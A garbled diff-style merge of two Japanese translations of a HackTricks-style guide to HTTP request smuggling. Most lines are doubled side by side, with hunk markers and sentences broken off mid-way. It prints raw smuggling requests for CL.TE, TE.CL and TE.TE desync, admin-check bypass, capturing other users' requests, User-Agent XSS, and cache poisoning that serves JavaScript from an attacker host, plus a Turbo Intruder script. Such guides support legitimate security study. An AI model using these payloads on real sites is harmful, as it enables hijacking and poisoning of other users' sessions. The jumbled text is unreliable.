ここでは、**フロントエンド**サーバーは**`Content-Length`**ヘッダーを使用し、**バックエンド**サーバーは**`Transfer-Encoding`**ヘッダーを使用します。次のような単純なHTTPリクエストスマグリング攻撃を実行できます: ここでは、**フロントエンド**サーバ**`Content-Length`** ヘッダーを使用し、**バックエンド**サーバが **`Transfer-Encoding`** ヘッダーを使用します。次のように簡単なHTTPリクエストスマグリング攻撃を実行できます:
`POST / HTTP/1.1`\ `POST / HTTP/1.1`\
`Host: vulnerable-website.com`\ `Host: vulnerable-website.com`\
@ -68,11 +68,11 @@ HTTPでは**改行文字が2バイトで構成されている**ことを覚え
`GET /404 HTTP/1.1`\ `GET /404 HTTP/1.1`\
`Foo: x` `Foo: x`
`Content-Length`は**ボディのリクエスト長が30バイトである**ことを示しています_HTTPでは改行を使用するので、新しい行ごとに2バイト_、したがってリバースプロキシは**完全なリクエスト**をバックエンドに送信し、バックエンドは`Transfer-Encoding`ヘッダーを処理し、`GET /404 HTTP/1.1`を**次のリクエストの始まり**として残します(ちなみに、次のリクエストは`Foo:x<次のリクエストがここから始まる>`に追加されます)。 `Content-Length` が **ボディのリクエスト長が30バイト**であることを示していることに注意してくださいHTTPでは改行として2バイトが使用されるため。したがって、リバースプロキシは **完全なリクエストをバックエンドに送信**し、バックエンドは `Transfer-Encoding` ヘッダーを処理して `GET /404 HTTP/1.1` を **次のリクエストの先頭**として処理します(ちなみに、次のリクエストは `Foo:x<次のリクエストはここから開始>` に追加されます)。
### TE.CL脆弱性 ### TE.CL 脆弱性
ここでは、フロントエンドサーバーは`Transfer-Encoding`ヘッダーを使用し、バックエンドサーバーは`Content-Length`ヘッダーを使用します。次のような単純なHTTPリクエストスマグリング攻撃を実行できます: ここでは、**フロントエンド**サーバが **`Transfer-Encoding`** ヘッダーを使用し、**バックエンド**サーバが **`Content-Length`** ヘッダーを使用します。次のように簡単なHTTPリクエストスマグリング攻撃を実行できます:
`POST / HTTP/1.1`\ `POST / HTTP/1.1`\
`Host: vulnerable-website.com`\ `Host: vulnerable-website.com`\
@ -84,15 +84,15 @@ HTTPでは**改行文字が2バイトで構成されている**ことを覚え
`0`\ `0`\
`\` `\`
この場合、**リバースプロキシ**は**`Transfer-encoding`**が指示するように**全リクエスト**を**バックエンド**に送信します。しかし、**バックエンド**は`Content-Length`に示されているように**`7b`**4バイトのみを**処理**します。したがって、次のリクエストは`GET /404 HTTP/1.1`から始まるものになります。 この場合、**リバースプロキシ**は**リクエスト全体を** **バックエンドに送信**します(`Transfer-encoding` がそう指示しているため)。しかし、**バックエンド**は `Content-Length` で指定された **`7b`**4バイトのみを処理します。したがって、次のリクエストは `GET /404 HTTP/1.1` から始まるリクエストになります。
_攻撃は`0`で終わる必要があるにもかかわらず、次のリクエストは**x**パラメータの追加値として追加されることに注意してください。_\ _攻撃`0` で終了する必要があるため、次のリクエストは **x** パラメータの追加値として追加されます。_\
_また、埋め込まれたリクエストのContent-Lengthは、**x**パラメータに追加される次のリクエストの長さを示します。それが小さすぎると、数バイトしか追加されませんし、大きすぎる(次のリクエストの長さより大きい)場合、次のリクエストに対してエラーが発生します。_ _埋め込まれたリクエストの Content-Length が次のリクエストの長さを示すため、次のリクエストが **x** パラメータに追加されるバイト数が少ないと、追加されるバイト数が少なくなり、次のリクエストの長さよりも大きい場合(次のリクエストの長さよりも大きい場合)、次のリクエストに対してエラーが発生します。_
### TE.TE脆弱性 ### TE.TE 脆弱性
ここでは、フロントエンドとバックエンドのサーバーは両方とも`Transfer-Encoding`ヘッダーをサポートしていますが、ヘッダーを何らかの方法で難読化することによって、サーバーの1つがそれを処理しないように誘導することができます。\ ここでは、フロントエンドサーバとバックエンドサーバの両方が `Transfer-Encoding` ヘッダーをサポートしていますが、サーバの1つがヘッダーを何らかの方法で処理しないように誘導できます。\
`Transfer-Encoding`ヘッダーを難読化する方法は無限にあります。例えば: `Transfer-Encoding` ヘッダーを曖昧化する方法は無限にあります。例:
`Transfer-Encoding: xchunked`\ `Transfer-Encoding: xchunked`\
``\ `Transfer-Encoding : chunked`\``\ ``\ `Transfer-Encoding : chunked`\``\
@ -106,13 +106,13 @@ _また、埋め込まれたリクエストのContent-Lengthは、**x**パラメ
`Transfer-Encoding`\ `Transfer-Encoding`\
`: chunked` `: chunked`
**TE**ヘッダーの**処理を停止する**サーバー(リバースプロキシまたはバッキング)に応じて、**CL.TEの脆弱性**または**TE.CLの脆弱性**が見つかります。 **TE** ヘッダーの処理を停止するサーバ(リバースプロキシまたはバックエンド)によって、**CL.TE脆弱性**または**TE.CL脆弱性**が見つかります。
## HTTPリクエストスマグリングの検出 ## HTTP リクエストスマグリングの発見
### タイミング技術を使用してCL.TEの脆弱性を検出す ### タイミング技術を使用して CL.TE 脆弱性を見つけ
アプリケーションがCL.TEバリアントのリクエストスマグリングに対して脆弱である場合、次のようなリクエストを送信すると、しばしば時間遅延が発生します: アプリケーションがリクエストスマグリングの CL.TE バリアントに脆弱である場合、次のようなリクエストを送信すると、通常、時間の遅延が発生します:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: vulnerable-website.com Host: vulnerable-website.com
@ -124,19 +124,19 @@ Content-Length: 4
A A
0 0
``` ```
フロントエンドサーバーは`Content-Length`ヘッダーを使用しているため、このリクエストの一部のみを転送し、`0`を省略します。バックエンドサーバーは`Transfer-Encoding`ヘッダーを使用し、最初のチャンクを処理した後、次のチャンクの到着を待ちます。これにより観察可能な時間遅延が発生します。 フロントエンドサーバーは `Content-Length` ヘッダーを使用しているため、このリクエストの一部のみを転送し、`0` を省略します。 バックエンドサーバーは `Transfer-Encoding` ヘッダーを使用し、最初のチャンクを処理した後、次のチャンクの到着を待ちます。 これにより、観測可能な時間遅延が発生します。
時にはタイムアウトを得る代わりに、次のシナリオのように最終ホストから400の悪いリクエストを受け取ることがあります。ここでは、CL.TEペイロードが送信されます タイムアウトではなく、400 Bad Requestを受け取ることがある場合もあります。次のシナリオのように、CL.TE ペイロードが送信された場合です:
![](<../../.gitbook/assets/image (444).png>) ![](<../../.gitbook/assets/image (444).png>)
そして、レスポンスはhaproxyのバージョンまで含むエラーをボディ内に含むリダイレクトです そして、応答は、haproxyのバージョンさえ含むエラーを本文に含むリダイレクトです:
![](<../../.gitbook/assets/image (443).png>) ![](<../../.gitbook/assets/image (443).png>)
### タイミング技術を使用してTE.CL脆弱性を見つける ### タイミングテクニックを使用して TE.CL 脆弱性を見つける
アプリケーションがリクエストスマグリングのTE.CLバリアントに対して脆弱である場合、次のようなリクエストを送信すると、しばしば時間遅延が発生します アプリケーションが TE.CL バリアントのリクエストスムグリングに脆弱である場合、次のようなリクエストを送信すると、しばしば時間遅延が発生します:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: vulnerable-website.com Host: vulnerable-website.com
@ -147,43 +147,35 @@ Content-Length: 6
0 0
X X
``` ```
```markdown フロントエンドサーバーが `Transfer-Encoding` ヘッダーを使用しているため、このリクエストの一部のみを転送し、`X` を省略します。バックエンドサーバーは `Content-Length` ヘッダーを使用し、メッセージ本文にさらにコンテンツがあることを期待し、残りのコンテンツが到着するのを待ちます。これにより、観察可能な時間遅延が発生します。
フロントエンドサーバーが `Transfer-Encoding` ヘッダーを使用しているため、このリクエストの一部のみを転送し、`X` を省略します。バックエンドサーバーは `Content-Length` ヘッダーを使用し、メッセージボディにさらなるコンテンツがあると予想し、残りのコンテンツが到着するのを待ちます。これにより観測可能な時間遅延が発生します。
### HTTPリクエストスマグリングの脆弱性を探る ### HTTPリクエストスムグリング脆弱性の探査
**タイミング技術が機能している**ことがわかったら、他のクライアントのリクエストを**変更できる**かどうかを**探る**必要があります。\ **タイミングテクニックが機能していること**を見つけたら、**他のクライアントのリクエストを変更できるかどうかを調査**する必要があります。\
これを行う最も簡単な方法は、自分のリクエストを毒することです。例えば、`/`へのリクエストが404を返すようにします。\ これを行う最も簡単な方法は、自分自身のリクエストを毒化し、たとえば `/` に対して404を返すリクエストを行うことです。\
[基本例](./#basic-examples)で、クライアントが他のリソースを要求しているときに`/404`を要求して404レスポンスを引き起こす`CL.TE`と`TE.CL`の例をすでに見ています [基本例](./#basic-examples)では、`CL.TE` と `TE.CL` の例をすでに見て、クライアントのリクエストを毒化して `/404` を要求させ、クライアントが他のリソースを要求しているときに404レスポンスを引き起こす方法を見ました
**ノート** **注意事項**
他のリクエストへの干渉を通じてリクエストスマグリングの脆弱性を確認しようとする際には、いくつかの重要な考慮事項を念頭に置く必要があります: 他のリクエストに干渉してリクエストスムグリングの脆弱性を確認しようとする際には、いくつか重要な考慮事項を心に留めておく必要があります:
* 「攻撃」リクエストと「通常」リクエストは、異なるネットワーク接続を使用してサーバーに送信する必要があります。両方のリクエストを同じ接続を通じて送信すると、脆弱性が存在することが証明されません。 * "攻撃" リクエストと "通常" リクエストは異なるネットワーク接続を使用してサーバーに送信する必要があります。同じ接続を介して両方のリクエストを送信すると、脆弱性が存在することを証明できません。
* 「攻撃」リクエストと「通常」リクエストは、可能な限り同じURLとパラメータ名を使用する必要があります。これは、多くの現代のアプリケーションがURLとパラメータに基づいてフロントエンドリクエストを異なるバックエンドサーバーにルーティングするためです。同じURLとパラメータを使用することで、リクエストが同じバックエンドサーバーによって処理される可能性が高まり、攻撃が機能するためには不可欠です。 * "攻撃" リクエストと "通常" リクエストは、可能な限り同じURLとパラメータ名を使用する必要があります。多くの現代のアプリケーションは、URLとパラメータに基づいてフロントエンドリクエストを異なるバックエンドサーバーにルーティングします。同じURLとパラメータを使用することで、リクエストが同じバックエンドサーバーで処理される可能性が高まり、攻撃が機能するためには重要です。
* 「通常」リクエストをテストして「攻撃」リクエストからの干渉を検出する際には、アプリケーションが同時に受け取っている他のリクエスト、他のユーザーからのリクエストも含めて、レースになります。 「通常」リクエストは「攻撃」リクエストの直後に送信する必要があります。アプリケーションが忙しい場合は、脆弱性を確認するために複数回の試行が必要になるかもしれません。 * "通常" リクエストをテストして "攻撃" リクエストからの干渉を検出する際には、アプリケーションが同時に受信している他のリクエスト(他のユーザーからのリクエストを含む)と競合しています。 "通常" リクエストは "攻撃" リクエストの直後に送信する必要があります。アプリケーションがビジーな場合、脆弱性を確認するために複数の試行が必要になるかもしれません。
* 一部のアプリケーションでは、フロントエンドサーバーがロードバランサーとして機能し、ロードバランシングアルゴリズムに従ってリクエストを異なるバックエンドシステムに転送します。 「攻撃」リクエストと「通常」リクエストが異なるバックエンドシステムに転送される場合、攻撃は失敗します。これは、脆弱性を確認するに複数回試行する必要がある追加の理由です。 * 一部のアプリケーションでは、フロントエンドサーバーがロードバランサーとして機能し、いくつかのロードバランシングアルゴリズムに従ってリクエストを異なるバックエンドシステムに転送します。 "攻撃" リクエストと "通常" リクエストが異なるバックエンドシステムに転送される場合、攻撃は失敗します。これは、脆弱性を確認するために複数回試行する必要がある追加の理由です。
* 攻撃が成功して後続のリクエストに干渉した場合でも、それが干渉を検出するために送信した「通常」のリクエストではなかった場合、これはあなたの攻撃が他のアプリケーションユーザーに影響を与えたことを意味します。テストを続けると他のユーザーに混乱を招く可能性があり、注意を払う必要があります。 * 攻撃が後続のリクエストに干渉して成功した場合、これが干渉を検出するために送信した "通常" リクエストではなかった場合、他のアプリケーションユーザーが攻撃の影響を受けたことを意味します。テストを継続すると、他のユーザーに混乱をもたらす可能性があり、注意が必要です。
### ホップバイホップヘッダーを介した強制 ### ホップバイホップヘッダーを介した強制
ホップバイホップヘッダーを悪用することで、プロキシに対して **Content-LengthまたはTransfer-Encodingヘッダーを削除するよう指示し、HTTPリクエストスマグリングを悪用する可能性があります** ホップバイホップヘッダーを悪用することで、プロキシにヘッダー `Content-Length` または `Transfer-Encoding` を削除するよう指示し、HTTPリクエストスムグリングを悪用することが可能になります。
```
``` ```
Connection: Content-Length Connection: Content-Length
``` ```
ホップバイホップヘッダーについての**詳細情報**は、以下をご覧ください:
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
{% endcontent-ref %}
## HTTPリクエストスマグリングの悪用 ## HTTPリクエストスマグリングの悪用
### フロントエンドセキュリティコントロールをバイパスするために ### フロントエンドセキュリティコントロールをバイパスするために
時々、**フロントエンドのプロキシがセキュリティチェックを行います**。HTTPリクエストスマグリングを悪用することで、これらの**保護をバイパス**することができます。例えば、この例では、外部から`/admin`に**アクセスできません**が、フロントエンドプロキシはそれをチェックしています。しかし、この**プロキシは埋め込まれたリクエストをチェックしていません** **フロントエンドプロキシは時々セキュリティチェックを実行**します。これらを回避するためにHTTPリクエストスマグリングを悪用することで、**保護をバイパス**できます。例えば、この例では、**外部から`/admin`にアクセスできません**し、フロントエンドプロキシがそれをチェックしていますが、**このプロキシは埋め込まれたリクエストをチェックしていません**
**CL.TE** **CL.TE**
@ -217,13 +209,13 @@ Connection: Content-Length
`0`\ `0`\
`\` `\`
### フロントエンドのリクエスト書き換えの明らかにする <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a> ### フロントエンドリクエストの書き換えを明らかにする<a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
多くのアプリケーションでは、**フロントエンドサーバーがリクエストの書き換えを行います**。通常は追加のリクエストヘッダーを追加することで、バックエンドサーバーに転送されます。\ 多くのアプリケーションでは、**フロントエンドサーバーはリクエストをバックエンドサーバーに転送する前にリクエストの書き換えを行います**。通常、いくつかの追加のリクエストヘッダーを追加することにより行います。\
一般的なこととして、`X-Forwarded-For: <クライアントのIP>`や類似のヘッダーをリクエストに**追加して**、バックエンドがクライアントのIPを知ることができます。\ 一般的に行うことの1つは、リクエストに`X-Forwarded-For: <クライアントのIP>`のヘッダーを**追加する**ことです。\
には、リクエストに**追加された新しい値を見つける**ことができれば、**保護をバイパス**し、**隠された情報**/**エンドポイント****アクセス**することができるかもしれません。 々、リクエストに追加される**新しい値を見つける**ことができれば、**保護をバイパス**し、**隠された情報**/**エンドポイントにアクセス**できるかもしれません。
プロキシがリクエストをどのように書き換えているかを発見するためには、バックエンドがその値をレスポンスに反映する**POSTパラメーターを見つける**必要があります。その後、このパラメーターを最後のものとして使用し、このようなエクスプロイトを使用します: リクエストの書き換え方法を発見するには、バックエンドがその値を反映するPOSTパラメータを見つける必要があります。その後、このパラメータを最後に使用し、次のようなエクスプロイトを使用します:
`POST / HTTP/1.1`\ `POST / HTTP/1.1`\
`Host: vulnerable-website.com`\ `Host: vulnerable-website.com`\
@ -234,16 +226,16 @@ Connection: Content-Length
``\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\``\ ``\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\``\
`search=` `search=`
この場合、次のリクエストは`search=`の後に追加され、**そのパラメーターの値がレスポンスに反映される**ので、次のリクエストのヘッダーが**反映されます** この場合、次のリクエストは`search=`の後に追加されます。これはまた、**レスポンスで反映される値**であるパラメータです。したがって、**次のリクエストのヘッダーが反映**されます
埋め込まれたリクエストの`Content-Length`ヘッダーに示された長さだけが**反映される**ことに注意してください。小さい数値を使用すると、数バイトだけが反映されます。ヘッダーの全長よりも大きな数値を使用すると、埋め込まれたリクエストがエラーを出します。したがって、**小さい数値から始めて**、見たいものがすべて見えるまで**増やす**必要があります。\ **埋め込まれたリクエストの`Content-Length`ヘッダーで指定された長さだけが反映**されることに注意してください。小さい数値を使用すると、数バイトだけが反映され、すべてのヘッダーよりも大きな数値を使用すると、埋め込まれたリクエストがエラーをスローします。そのため、**小さい数値**から始めて、見たいすべての内容が表示されるまで**数値を増やしていきます**。\
また、この**技術はTE.CLの脆弱性でも利用可能**ですが、リクエストは`search=\r\n0`で終わる必要があります。しかし、改行文字に関係なく、値はsearchパラメーターに追加されます。 また、この**テクニックはTE.CL**の脆弱性でも悪用できますが、リクエストは`search=\r\n0`で終了する必要があります。ただし、改行文字に関係なく、値は検索パラメータに追加されます。
最後に、この攻撃では、フロントエンドプロキシがリクエストをどのように書き換えているかを学ぶために自分自身を攻撃していることに注意してください。 最後に、この攻撃では、フロントエンドプロキシがリクエストをどのように書き換えているかを学ぶために自分自身を攻撃していることに注意してください。
### 他のユーザーのリクエストをキャプチャする <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a> ### 他のユーザーのリクエストをキャプチャする<a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
パラメータの内容を保存するPOSTリクエストを見つけることができれば、そのパラメータの値として次のリクエストを追加して、次のクライアントのクエストを保存することができます: 1つのパラメータの内容を保存するPOSTリクエストを見つけることができれば、そのパラメータの値として次のリクエストを追加して、次のクライアントのクエストを保存できます:
`POST / HTTP/1.1`\ `POST / HTTP/1.1`\
`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\ `Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\
@ -261,20 +253,20 @@ Connection: Content-Length
\`\`\ \`\`\
`csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=` `csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=`
この場合、**commentパラメーター**の値は、ページ内の投稿のコメントに**保存される**ので、**次のリクエストの内容がコメントに表示されます** この場合、**パラメータcomment**の値は、ページ内のコメントに**保存**されます。そのため、次のリクエストの内容が含まれたコメントが表示されます
この技術の一つの制限は、通常、スマグルされたリクエストに適用されるパラメーター区切り文字までのデータのみがキャプチャされることです。URLエンコードされたフォーム送信の場合、これは`&`文字になります。つまり、被害者ユーザーのリクエストから保存される内容は、最初の`&`で終わります。これはクエリ文字列にも現れる可能性があります。 _このテクニックの制限の1つは、通常、スマグルされたリクエストに適用されるパラメータ区切り記号までのデータのみがキャプチャされることです。URLエンコードされたフォーム送信の場合、これは`&`文字になり、被害者ユーザーのリクエストから保存されるコンテンツは最初の`&`で終了します。_
また、この**技術はTE.CLの脆弱性でも利用可能**ですが、リクエストは`search=\r\n0`で終わる必要があります。しかし、改行文字に関係なく、値はsearchパラメーターに追加されます。 また、この**テクニックはTE.CL**の脆弱性でも悪用できますが、リクエストは`search=\r\n0`で終了する必要があります。ただし、改行文字に関係なく、値は検索パラメータに追加されます。
### 反射型XSSに対するHTTPリクエストスマグリングの利 ### 反射型XSSを悪用するためのHTTPリクエストスマグリングの使
ウェブページが**反射型XSSにも脆弱**である場合、HTTPリクエストスマグリングを悪用してウェブのクライアントを攻撃することができます。HTTPリクエストスマグリングからの反射型XSSの悪用にはいくつかの利点があります: Webページが**反射型XSSに脆弱**である場合、HTTPリクエストスマグリングを悪用してWebのクライアントを攻撃できます。HTTPリクエストスマグリングからの反射型XSSの利用にはいくつかの利点があります:
* **被害者ユーザーとのやり取りは必要ありません** * **被害者ユーザーとのやり取りが不要**
* 通常の反射型XSS攻撃では簡単に制御できないリクエストの部分、例えばHTTPリクエストヘッダーなどのXSSの挙動を**悪用**するために使用できます * 通常の反射型XSS攻撃では**簡単に制御できないリクエストの一部でXSSの動作を悪用**できます。例えば、HTTPリクエストヘッダーなど
User-Agentヘッダーで反射型XSSに脆弱なウェブがある場合、このペイロードを使用して悪用することができます: WebがUser-Agentヘッダーで反射型XSSに脆弱である場合、次のペイロードを使用してそれを悪用できます:
`POST / HTTP/1.1`\ `POST / HTTP/1.1`\
`Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\ `Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\
@ -293,9 +285,9 @@ User-Agentヘッダーで反射型XSSに脆弱なウェブがある場合、こ
\`\`\ \`\`\
`A=` `A=`
### オンサイトリダイレクトをオープンリダイレクトに変えるためのHTTPリクエストスマグリングの利用 <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a> ### オンサイトリダイレクトをオープンリダイレクトに変換するためのHTTPリクエストスマグリングの使用<a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
多くのアプリケーションは、一つのURLから別のURLへのオンサイトリダイレクトを行い、リクエストの`Host`ヘッダーからホスト名をリダイレクトURLに配置します。これの一例は、ApacheやIISウェブサーバーのデフォルトの挙動で、トレーリングスラッシュのないフォルダーに対するリクエストが、トレーリングスラッシュを含む同じフォルダーへのリダイレクトを受ける場合です: 多くのアプリケーションは、1つのURLから別のURLにオンサイトリダイレクトを実行し、リクエストの`Host`ヘッダーからホスト名をリダイレクトURLに配置します。これは、ApacheやIIS Webサーバーのデフォルト動作の例であり、スラッシュで終わらないフォルダのリクエストは、スラッシュを含む同じフォルダにリダイレクトされます:
`GET /home HTTP/1.1`\ `GET /home HTTP/1.1`\
`Host: normal-website.com`\ `Host: normal-website.com`\
@ -303,7 +295,7 @@ User-Agentヘッダーで反射型XSSに脆弱なウェブがある場合、こ
`HTTP/1.1 301 Moved Permanently`\ `HTTP/1.1 301 Moved Permanently`\
`Location: https://normal-website.com/home/` `Location: https://normal-website.com/home/`
この挙動は通常、無害と考えられていますが、リクエストスマグリング攻撃で他のユーザーを外部ドメインにリダイレクトするために悪用することができます。例えば この動作は通常無害ですが、リクエストスマグリング攻撃で他のユーザーを外部ドメインにリダイレクトすることができます。例:
`POST / HTTP/1.1`\ `POST / HTTP/1.1`\
`Host: vulnerable-website.com`\ `Host: vulnerable-website.com`\
@ -315,7 +307,7 @@ User-Agentヘッダーで反射型XSSに脆弱なウェブがある場合、こ
`Host: attacker-website.com`\ `Host: attacker-website.com`\
`Foo: X` `Foo: X`
スマグルされたリクエストは、攻撃者のウェブサイトへのリダイレクトをトリガーし、バックエンドサーバーによって処理される次のユーザーのリクエストに影響を与えます。例えば スマグルされたリクエストは、攻撃者のWebサイトにリダイレクトされ、バックエンドサーバーによって処理される次のユーザーのリクエストに影響を与えます。例:
`GET /home HTTP/1.1`\ `GET /home HTTP/1.1`\
`Host: attacker-website.com`\ `Host: attacker-website.com`\
@ -325,17 +317,17 @@ User-Agentヘッダーで反射型XSSに脆弱なウェブがある場合、こ
`HTTP/1.1 301 Moved Permanently`\ `HTTP/1.1 301 Moved Permanently`\
`Location: https://attacker-website.com/home/` `Location: https://attacker-website.com/home/`
ここでは、ユーザーのリクエストはウェブサイトのページによってインポートされたJavaScriptファイルでした。攻撃者は、応答で自分のJavaScriptを返すことで、被害者ユーザーを完全に侵害することができます。 ここでは、ユーザーのリクエストはWebサイトのページでインポートされたJavaScriptファイルを要求していました。攻撃者は、レスポンスで自分自身のJavaScriptを返すことで、被害者ユーザーを完全に妨害できます。
### ウェブキャッシュポイズニングを行うためのHTTPリクエストスマグリングの利用 <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a> ### Webキャッシュポイズニングを実行するためのHTTPリクエストスマグリングの使用<a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
**フロントエンドインフラストラクチャの一部がコンテンツのキャッシングを行っている**場合(一般的にはパフォーマンス上の理由から)、サーバーのレスポンスを変更してそのキャッシュを**毒することが可能かもしれません** **フロントエンドインフラストラクチャの一部がコンテンツのキャッシュを実行**している場合(通常はパフォーマンス上の理由)、**サーバーの応答を変更してそのキャッシュを毒化**することができるかもしれません
すでに、サーバーからの期待される返り値を404に変更する方法を見てきました[基本例](./#basic-examples))。同様の方法で、`/static/include.js`を要求している毒されたリクエストが`/index.html`の内容を返すようにすることができます。このようにして、`/static/include.js`の内容が`/index.html`の内容でキャッシュされ、クライアントにとって`/static/include.js`がアクセス不可能になりますDoS サーバーからの期待される返される値を404に変更する方法はすでに見てきました[基本例](./#basic-examples))。同様に、**毒化されたリクエストが`/static/include.js`を要求すると、サーバーは`/index.html`のコンテンツを返すようになります**。これにより、`/static/include.js`のコンテンツが`/index.html`のコンテンツでキャッシュされ、クライアントが`/static/include.js`にアクセスできなくなりますDoS
これは、いくつかの**オープンリダイレクト**や、いくつかの**オンサイトリダイレクトからのオープンリダイレクト**(前のセクション)が見つかった場合にさらに興味深いです。なぜなら、`/static/include.js`の**キャッシュ値を、攻撃者が制御するスクリプトのものに変更**することができるかもしれないからです(新しいバージョンの`/static/include.js`をダウンロードしようとするすべてのクライアントに対する**一般的なXSS**)。 **Open Redirect**または**オンサイトリダイレクトからオープンリダイレクト**(最後のセクション)を見つけると、さらに興味深くなります。なぜなら、`/static/include.js`のキャッシュ値を**自分が制御するスクリプトの値**で**変更**できるからです(`/static/include.js`の新しいバージョンをダウンロードしようとするすべてのクライアントに**一般的なXSSを提供**する)。
この例では、**キャッシュポイズニング + オンサイトリダイレクトからオープンリダイレクト**を悪用して、`/static/include.js`のキャッシュの内容を攻撃者が**制御するJSコードで提供する**方法を示します: この例では、**キャッシュポイズニング+オンサイトリダイレクトからオープンリダイレクト**を悪用して、`/static/include.js`のキャッシュ内容を**攻撃者が制御するスクリプトの内容**で提供する方法を示します:
`POST / HTTP/1.1`\ `POST / HTTP/1.1`\
`Host: vulnerable.net`\ `Host: vulnerable.net`\
@ -351,7 +343,11 @@ User-Agentヘッダーで反射型XSSに脆弱なウェブがある場合、こ
\`\`\ \`\`\
`x=1` `x=1`
埋め込まれたリクエストが`/post/next?postId=3`を要求していることに注意してください。このリクエストは`/post?postId=4`にリダイレクトされ、**ホストヘッダーの値を使用してドメインを示します**。したがって、攻撃 埋め込まれたリクエストが`/post/next?postId=3`を要求していることに注意してください。このリクエストは`/post?postId=4`にリダイレクトされ、**Hostヘッダーの値**を使用してドメインを示します。したがって、**Hostヘッダーを変更**して攻撃者のサーバーを指すようにし、リダイレクトがそのドメインを使用するようにします(**オンサイトリダイレクトからオープンリダイレクト**)。
その後、**ソケットを毒化**した後、**`/static/include.js`**に**GETリクエスト**を送信する必要があります。このリクエストは**オンサイトリダイレクトからオープンリダイレクト**リクエストによって**毒され**、**攻撃者が制御するスクリプトの内容**を**取得**します。
次に、誰かが`/static/include.js`を要求すると、攻撃者のスク
```python ```python
def queueRequests(target, wordlists): def queueRequests(target, wordlists):
@ -434,11 +430,9 @@ time.sleep(0.05)
def handleResponse(req, interesting): def handleResponse(req, interesting):
table.add(req) table.add(req)
``` ```
## 詳細情報 ## 詳細
![](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg) ![こちらから](https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104)
[こちらの画像出典](https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104)
## ツール ## ツール
@ -446,7 +440,7 @@ table.add(req)
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler) * [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py) * [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler) * [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): このツールは文法ベースのHTTP Fuzzerで、リクエストスマグリングの奇妙な不一致を見つけるのに役立ちます。 * [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): このツールは文法ベースのHTTP Fuzzerであり奇妙なリクエストスマグリングの不一致を見つけるのに役立ちます。
## 参考文献 ## 参考文献
@ -457,17 +451,3 @@ table.add(req)
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/) * [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html) * [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/) * [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください!</strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
